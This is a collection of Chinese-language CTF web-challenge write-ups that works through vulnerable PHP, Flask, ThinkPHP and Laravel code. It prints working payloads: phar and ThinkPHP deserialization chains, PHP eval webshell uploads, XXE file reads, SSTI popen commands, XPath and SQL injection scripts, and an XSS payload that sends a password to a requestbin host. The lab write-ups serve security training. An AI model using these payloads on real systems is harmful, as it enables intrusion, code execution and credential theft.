    if mid == 32:
        break

跑出一个文件名,下载查看

///Common/fun.php
// 路由控制跳转至控制器
if(!empty($_REQUEST['r']))
{
	$r = explode('/', $_REQUEST['r']);
	list($controller,$action) = $r;
	$controller = "{$controller}Controller";
	$action = "action{$action}";
	if(class_exists($controller))
	{
		if(method_exists($controller,$action))
		{
			//
		}
		else
		{
			$action = "actionIndex";
		}
	}
	else
	{
		$controller = "LoginController";
        $action = "actionIndex";
	}
    $data = call_user_func(array( (new $controller), $action));
} else {
    header("Location:index.php?r=Login/Index");
}
/Controller/BaseController
<?php 
//所有控制器的父类
class BaseController
{
	/*
	 * 加载视图文件
	 * viewName 视图名称
	 * viewData 视图分配数据
	*/
	private $viewPath;
	public function loadView($viewName ='', $viewData = [])
	{
		$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
		if(file_exists($this->viewPath))
		{
			extract($viewData);//将数组中的内容变为变量
			include $this->viewPath;//包含渲染模版
		}
	}
}
///View/userIndex
<?php
	if(!isset($img_file)) {
		$img_file = '/../favicon.ico';
	}
	$img_dir = dirname(__FILE__) . $img_file;
	$img_base64 = imgToBase64($img_dir);
	echo '<img src="' . $img_base64 . '">';       //任意文件base64编码
?>

审计完payload就出来了

?r=User/Index&img_file=/../flag.php

图片处读base64解码即可

[GXYCTF2019]BabysqliV3.0

我tm试了半天你告诉我弱口令????????????????????????/

admin/password

明显的文件读取,伪协议读取

//upload.php
<?php
error_reporting(0);
class Uploader{
        public $Filename;
        public $cmd;
        public $token;
        function __construct(){
                $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
                $ext = ".txt";
                @mkdir($sandbox, 0777, true);
                if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
                        $this->Filename = $_GET['name'];
                }
                else{
                        $this->Filename = $sandbox.$_SESSION['user'].$ext;
                }
                $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
                $this->token = $_SESSION['user'];
        }
        function upload($file){
                global $sandbox;
                global $ext;
                if(preg_match("[^a-z0-9]", $this->Filename)){
                        $this->cmd = "die('illegal filename!');";
                }
                else{
                        if($file['size'] > 1024){
                                $this->cmd = "die('you are too big (′▽`〃)');";
                        }
                        else{
                                $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
                        }
                }
        }
        function __toString(){
                global $sandbox;
                global $ext;
                // return $sandbox.$this->Filename.$ext;
                return $this->Filename;
        }
        function __destruct(){
                if($this->token != $_SESSION['user']){
                        $this->cmd = "die('check token falied!');";
                }
                eval($this->cmd);
        }
}
if(isset($_FILES['file'])) {
        $uploader = new Uploader();
        $uploader->upload($_FILES["file"]);
        if(@file_get_contents($uploader)){
                echo "下面是你上传的文件:<br>".$uploader."<br>";
                echo file_get_contents($uploader);
        }
}
?>

此处有一个file_get_contents存在phar反序列化,任意上传文件可以拿到$_SESSION['user'],然后构造exp

<?php
error_reporting(0);
class Uploader{
    public $Filename;
    public $cmd;
    public $token;
}
$upload=new Uploader();
$upload->cmd = "highlight_file('/var/www/html/flag.php');";
$upload->token = 'GXY380513e563f39abb95bd589a6d2648ec';
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$phar -> setMetadata($upload);
$phar->addFromString("test.txt", "test");
$phar -> stopBuffering();
?>

上传后将name参数改为phar:///var/www/html/uploads/da3fd6a2cf9c6007bda4c8a58e394ba2/GXY380513e563f39abb95bd589a6d2648ec.txt刷新即可拿flag

[SUCTF 2018]annonymous

源码

<?php
$MY = create_function("","die(`cat flag.php`);");//创建无名函数
$hash = bin2hex(openssl_random_pseudo_bytes(32));//生成随机数
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");//给了无名函数一个名字,但是是随机的
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();
}
show_source(__FILE__);

匿名函数其实是有真正的名字,为%00lambda_%d(%d格式化为当前进程的第n个匿名函数,n的范围0-999)

通过上面这个方法,用个脚本就能跑出来

import requests
for i in range(1,1000):
    r=requests.get(url=f'http://bb841c48-16f0-4700-a630-f8a44d9cfced.node4.buuoj.cn:81/?func_name=%00lambda_{i}')
    print(r.status_code)
    if 'flag' in r.text:
        print(r.text)
        break

[RoarCTF 2019]Simple Upload

<?php 
namespace Home\Controller; 

use Think\Controller; 

class IndexController extends Controller 
{ 
    public function index() 
    { 
        show_source(__FILE__); 
    } 
    public function upload() 
    { 
        $uploadFile = $_FILES['file'] ; 
         
        if (strstr(strtolower($uploadFile['name']), ".php") ) { 
            return false; 
        } 
         
        $upload = new \Think\Upload();// 实例化上传类 
        $upload->maxSize  = 4096 ;// 设置附件上传大小 
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型 
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录 
        $upload->savePath = '';// 设置附件上传子目录 
        $info = $upload->upload() ; 
        if(!$info) {// 上传错误提示错误信息 
          $this->error($upload->getError()); 
          return; 
        }else{// 上传成功 获取上传文件信息 
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ; 
          echo json_encode(array("url"=>$url,"success"=>1)); 
        } 
    } 
}

1、看源码可以看出来是thinkphp的文件上传,代码中过滤了php文件后缀,而在thinkphp中文件上传的时候会对文件名进行这样的处理

foreach ($files as $key => $file) {
    $file['name']  = strip_tags($file['name']);//这里将<>标签删掉
		if(!isset($file['key']))   $file['key']    =   $key;
		/* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */
    if(isset($finfo)){
        $file['type']   =   finfo_file ( $finfo ,  $file['tmp_name'] );
    }

所以可以构造如下的payload

import  requests
url = "http://bb841c48-16f0-4700-a630-f8a44d9cfced.node4.buuoj.cn:81/index.php/home/index/upload"
files={'file':('1.<>php',"<?php eval($_GET['cmd'])?>")}
r=requests.post(url=url,files=files)
print(r.text)

2、think PHP里的upload()函数在不传参的情况下是批量上传的,所以如果上传多个文件

$uploadFile = $_FILES['file'] ;
	if (strstr(strtolower($uploadFile['name']), ".php") ) {
  	return false;
  }

此处name即为数组,可直接绕过

import  requests
url = "http://f2d454a6-807f-4da4-9815-e366f39612d8.node4.buuoj.cn:81/index.php/home/index/upload"
files = {'file':("1.txt","")}
files2={'file[]':('1.php',"<?php eval($_GET['cmd'])?>")}
r = requests.post(url,files = files)
print (r.text)
r = requests.post(url,files = files2)
print (r.text)
r = requests.post(url,files = files)
print (r.text)

继续往下走,发现虽然php文件确实上传成功了,但是并没有返回文件名,看前后两个文件重命名后的内容发现文件名的生成是有规律的,了解后知道文件名是通过uniqid得到的,这是根据当前时间来得到的随机数,那么根据前后两个文件名不同的位置进行爆破即可

[GoogleCTF2019 Quals]Bnv

选择城市并且进行submit时会向api发送一个json格式的post请求,这里其实就有可能存在XXE注入

在burp中尝试通过xml方式传入原始数据,提示未发现<标签

按照xml格式构造内容提示没有DTD

那我们在放一个DTD进去,提示有未声明的元素消息

此处类似于在使用变量前要先对变量进行声明,我们只需要声明一下message元素即可,此时回显正常

那么下一步我们就要想如何构造才能让flag回显,我们先看是否能读取本地文件,提示文件虽然存在但并不是一个格式良好的xml文件,所以加载中断了,将/flag传入发现回显相同,说明flag文件存在,但是我们怎么读取呢?

一个利用本地DTD来XXE输出任何文件内容的小trick

本质上我们可以使用本地DTD文件的实体,但是我们需要在完全加载它之前对它进行定义

而且Linux设备可能在/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd中有一个DTD文件。并且这个文件又一个名为ISOamsa的实体,所以我们可以使用它来写DTD代码。现在我们来制作DTD代码。

所以我们首先尝试放入一个错误的文件位置,可以看到文件名被回显出来了

所以我们要做的就是构造DTD代码使得读取的文件名是我们实际要读取的文件的内容,使得报错导致实际读取的文件内容被放入虚假的文件名中被爆出

大佬构造出的xml如下

<?xml version="1.0"?>
<!DOCTYPE message[
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///flag">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///aaaaa/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
'>
%local_dtd;
]>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY % file SYSTEM "file:///flag">
        <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///jlan/%file;'>">
        %eval;
        %error;
    '>
    %local_dtd;
]>

[GWCTF 2019]mypassword

有反馈,合理怀疑XSS

if(is_array($feedback)){
		echo "<script>alert('反馈不合法');</script>";
		return false;
	}
	$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
	foreach ($blacklist as $val) {
        while(true){
            if(stripos($feedback,$val) !== false){
                $feedback = str_ireplace($val,"",$feedback);
            }else{
                break;
            }
        }
    }

构造payload

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var psw = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1is06vp1/?a="+psw;
</scrcookieipt>

[DDCTF 2019]homebrew event loop

欣赏源码

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
    return '*********************'  # censored


def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException:
    pass


def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
        session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
                    ' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')


def buy_handler(args):#增加num_items
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:
        raise RollBackException()
    session['points'] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'


def get_flag_handler(args):#最终拿flag
    if session['num_items'] >= 5:
        # show_flag_function has been disabled, no worries
        trigger_event('func:show_flag;' + FLAG())
    trigger_event('action:view;index')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

看源码中各个函数的功能,写到注释中了,可以看到如果需要拿flag就要调用get_flag_handler,而如果要执行就需要有5个num_items,通过buy_handler函数来增加num_items,但是钱不够,此时我们通过执行trigger_event函数来进行多函数执行,在进行扣费之前就拿取到flag

?action:trigger_event#;action:buy;5#action:get_flag;#

此时session已经被写入cookie了,由于该flask程序中并没有使用数据库,所以session中的内容实际上是储存在我们的cookie中(戳这里看详情)得到session内容并使用flask-session-cookie-manager工具进行解密,拿到flag

[RootersCTF2019]babyWeb

SQL注入,过滤已提醒UNION SLEEP ' " OR - BENCHMARK

先用order by测出列数,再用万能密码捞出flag

1 || 1=1 limit 0,1

[HFCTF2020]BabyUpload

源码先扔

<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}
?>

新知识:可以通过上传session文件伪造session

对于通过文件存储session的,不同的引擎存储方式有以下几种

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

看代码,拿到flag的条件是,$_SESSION['username'] ==='admin'并且/var/babyctf/success.txt文件存在或/var/babyctf/success.txt/目录存在,首先尝试读取session文件判断session存储类型

\x08usernames:5:"guest";

说明是php_binary方式存储的,下一步就是伪造session文件了,题目中文件上传后会被重命名为文件名+_+文件内容的sha256计算后的内容,编写脚本进行上传

import hashlib
from io import BytesIO
import requests

url = 'http://650ec886-b0bc-410f-bb3c-0b8dda942bee.node4.buuoj.cn:81/index.php'
# 第一步:上传伪造的session文件
files = {"up_file": ("sess", BytesIO('\x08usernames:5:"admin";'.encode('utf-8')))}
data = {
    'direction': 'upload',
    'attr': ''
}
res = requests.post(url, data=data, files=files)

# 第二步:获取后面请求时的session_id
session_id = hashlib.sha256('\x08usernames:5:"admin";'.encode('utf-8')).hexdigest()

# 第三步:在/var/babyctf/下创建success.txt目录
data1 = {
    'attr': 'success.txt',
    'direction': 'upload'
}
res1 = requests.post(url=url, data=data1, files=files)

# 第四步:通过上面获取的session_id发起请求,获取flag
cookie = {
    'PHPSESSID': session_id
}
flag_res = requests.post(url, cookies=cookie)
print(flag_res.text)

[NPUCTF2020]ezlogin

XXE是你吗XXE

尝试了一遍发现不是,看wp是XPath注入,还有一个盲注

XPath中表示内容的方法(类似Linux中的文件结构)

/ 根节点
/* 根结点下所有子节点
//*所有节点
/root/* 根结点root下的所有子节点

一些好用的XPath函数

count 返回结果的数量
string-length 返回字符串长度
name 返回节点名称
substring 同MySQL中substr的用法

本题给个大佬脚本

import requests
import re
import time
 
session = requests.session()
url = "http://391bfefa-8949-4535-8129-07c86723c6b9.node4.buuoj.cn"
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
head = {
    #'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
    'Content-Type': 'application/xml',
    #"Cookie":"UM_distinctid=1785326510411f-0b3fb285b5c49c-4c3f227c-144000-178532651052c9; session=b953d436-f0da-4e58-be79-22676707c609.K5TbTAnwLyhIU66duiTX1Usn1D8; PHPSESSID=dd258b30ebc3b42c352a92ed98092b1c"
        }
 
find = re.compile(r'<input type="hidden" id="token" value="(.*?)" />',re.S)
result = ""
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
 
def get_token():     #获取token的函数
    resp = session.get(url=url)  #如果在这里用headers会得到超时的界面
    token = find.findall(resp.text)[0]
    #print(token)
    return token
 
for x in range(1,100):
    for char in chars:
        time.sleep(0.3)
        token = get_token()
        playload = payload_username.format(x, char, token)   #根据上面的playload来改
        #print(playload)
        resp = session.post(url=url,headers=head, data=playload)
        #print(resp.text)
        if "非法操作" in resp.text:
            result += char
            print(result)
            break
    if "用户名或密码错误" in resp.text:
        break

跑出结果为adm1n和md5解密后为gtfly123,登录成功,发现传参中含有文件参数,尝试php伪协议读取,被拦截,大小写绕过,读取/flag

EasyBypass

源码

<?php

highlight_file(__FILE__);

$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];


if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
    $comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
    $comm2 = "";

$flag = "#flag in /flag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);
?>

命令1,2过滤内容并不相同,命令1中过滤较少,直接从这边下手,首先双引号闭合,分号结束命令,tac读取文件,通配符匹配文件,最终payload如下

?comm1=";tac /f*;"

[2020 新春红包题]1

这题和**[EIS 2019]EzPOP**完全一致,唯一不同就是在文件名处多了过滤

public function getCacheKey(string $name): string {
    // 使缓存文件名随机
    $cache_filename = $this->options['prefix'] . uniqid() . $name;
    if(substr($cache_filename, -strlen('.php')) === '.php') {
      die('?');
    }
    return $cache_filename;
}

此处我们可以使用伪协议加目录穿越来绕过,传入key = "/../shell.php/.";options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';,此时内容变为:php://filter/write=convert.base64-decode/resource=62a58e2e23e33/../shell.php直接绕过

[羊城杯2020]easyphp

文件上传.htaccess包含利用,首先在htaccess文件中是有注释符的,就它#,但是php不读这个的啊,那么我们就上传.htaccess文件并包含htaccess并且注释掉一句话木马即可,末尾记得加反斜杠来转译换行,file使用\来绕过

php_value auto_prepend_fil
\e .htaccess
#<?php system('tac /f*');?>\

[XNUCA2019Qualifier]EasyPHP

这个非预期和上面那个一样,也是传入htaccess文件执行

[pasecactf_2019]flask_ssti

过滤了’,.,_,使用16进制绕过,直接给payload了

nickname={{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("tac app*")["read"]()}}

但是很明显看到源码也没啥用,因为flag已经被销毁了

import random
from flask import Flask, render_template_string, render_template, request
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'

#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]

app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""

os.remove("/app/flag")

使用这个函数反向跑出flag即可

[安洵杯 2019]iamthinking

www.zip下载源码

<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        
        echo "<img src='../test.jpg'"."/>";
        $paylaod = @$_GET['payload'];
        if(isset($paylaod))
        {
            $url = parse_url($_SERVER['REQUEST_URI']);
            parse_str($url['query'],$query);
            foreach($query as $value)
            {
                if(preg_match("/^O/i",$value))
                {
                    die('STOP HACKING');
                    exit();
                }
            }
            unserialize($paylaod);
        }
    }
}

可以看到这里有个反序列化,没有其他的方法了,只能看thinkPHP的反序列化漏洞了,至于其中的对第一个匹配的绕过,看这里,其中thinkPHP的反序列化链子可以用这个工具生成

最终payload

//public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A13%3A%22%00%2A%00connection%22%3Bs%3A5%3A%22mysql%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3BN%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3BN%3Bs%3A18%3A%22%00think%5CModel%00force%22%3BN%3Bs%3A13%3A%22%00%2A%00connection%22%3BN%3Bs%3A9%3A%22%00%2A%00suffix%22%3BN%3Bs%3A21%3A%22%00think%5CModel%00relation%22%3Ba%3A1%3A%7Bs%3A8%3A%22wh1t3p1g%22%3Ba%3A0%3A%7B%7D%7Ds%3A10%3A%22%00%2A%00visible%22%3Ba%3A1%3A%7Bs%3A8%3A%22wh1t3p1g%22%3Ba%3A0%3A%7B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22wh1t3p1g%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A196%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A16%3A%22eval%28%24_POST%5B1%5D%29%3B%22%3B%7Ds%3A8%3A%22function%22%3Bs%3A38%3A%22function+%28%29+use+%28%24code%29+%7Beval%28%24code%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3BN%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000001dae5f69000000005d7b61f7%22%3B%7D%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22wh1t3p1g%22%3Ba%3A0%3A%7B%7D%7Ds%3A7%3A%22%00%2A%00type%22%3BN%3Bs%3A12%3A%22%00%2A%00withEvent%22%3BN%3B%7Ds%3A21%3A%22%00think%5CModel%00relation%22%3BN%3Bs%3A10%3A%22%00%2A%00visible%22%3BN%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3BN%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22wh1t3p1g%22%3Ba%3A0%3A%7B%7D%7Ds%3A7%3A%22%00%2A%00type%22%3BN%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D

[CISCN2019 总决赛 Day1 Web4]Laravel1

从头开始找反序列化链子呗

/source/vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/TagAwareAdapter.php中的__destruct方法为起始点,跟进commit方法,跟进invalidateTags方法

if ($this->deferred) {
    $items = $this->deferred;
    foreach ($items as $key => $item) {
        if (!$this->pool->saveDeferred($item)) {
            unset($this->deferred[$key]);
            $ok = false;
        }
    }

    $f = $this->getTagsByKey;
    $tagsByKey = $f($items);
    $this->deferred = [];
}

此处调用了pool的saveDeferred方法,pool可控,但是在__construct中限定了pool的类型需要是AdapterInterface,下一步就是找一个是AdapterInterface并且带有saveDeferred方法的类,看到这里/source/vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/PhpArrayAdapter.php的saveDeferred,传入变量要求为CacheItemInterface类,全局搜索该类

条件满足继续走方法

private function initialize()
{
    if (!file_exists($this->file)) {
        $this->keys = $this->values = [];

        return;
    }
    $values = (include $this->file) ?: [[], []];

    if (2 !== \count($values) || !isset($values[0], $values[1])) {
        $this->keys = $this->values = [];
    } else {
        list($this->keys, $this->values) = $values;
    }
}

此处include了文件,最终的文件读取,按照上述内容构造exp,注意命名空间

<?php
namespace Symfony\Component\Cache{
    final class CacheItem{
    }
}

namespace Symfony\Component\Cache\Adapter{
    use Symfony\Component\Cache\CacheItem;
    class PhpArrayAdapter{
        private $file='/flag';
    }
    class TagAwareAdapter{
        private $deferred;
        private $pool;
        public function __construct(){
            $this->deferred = array('xxx' => new CacheItem());
            $this->pool = new PhpArrayAdapter();
        }
    }
$a=new TagAwareAdapter();
echo urlencode(serialize($a));
}
?>

virink_2019_files_share

看源码,uploads文件夹,随便点一个文件看参数,任意文件读取,此处要绕一下../,变成…//

[NESTCTF 2019]Love Math 2

和Love Math一样,构造_GET来自己塞东西进去

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
    for($i = 0;$i < 9; $i++){
        for($j = 0;$j <=9;$j++){
            $exp = $payload[$k] ^ $i.$j;
            echo($payload[$k]."^$i$j"."==>$exp");
            echo "<br />";
        }
    }
}

最终payload

?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

[PASECA2019]honey_shop

提示图片点击可以下载,任意文件读取

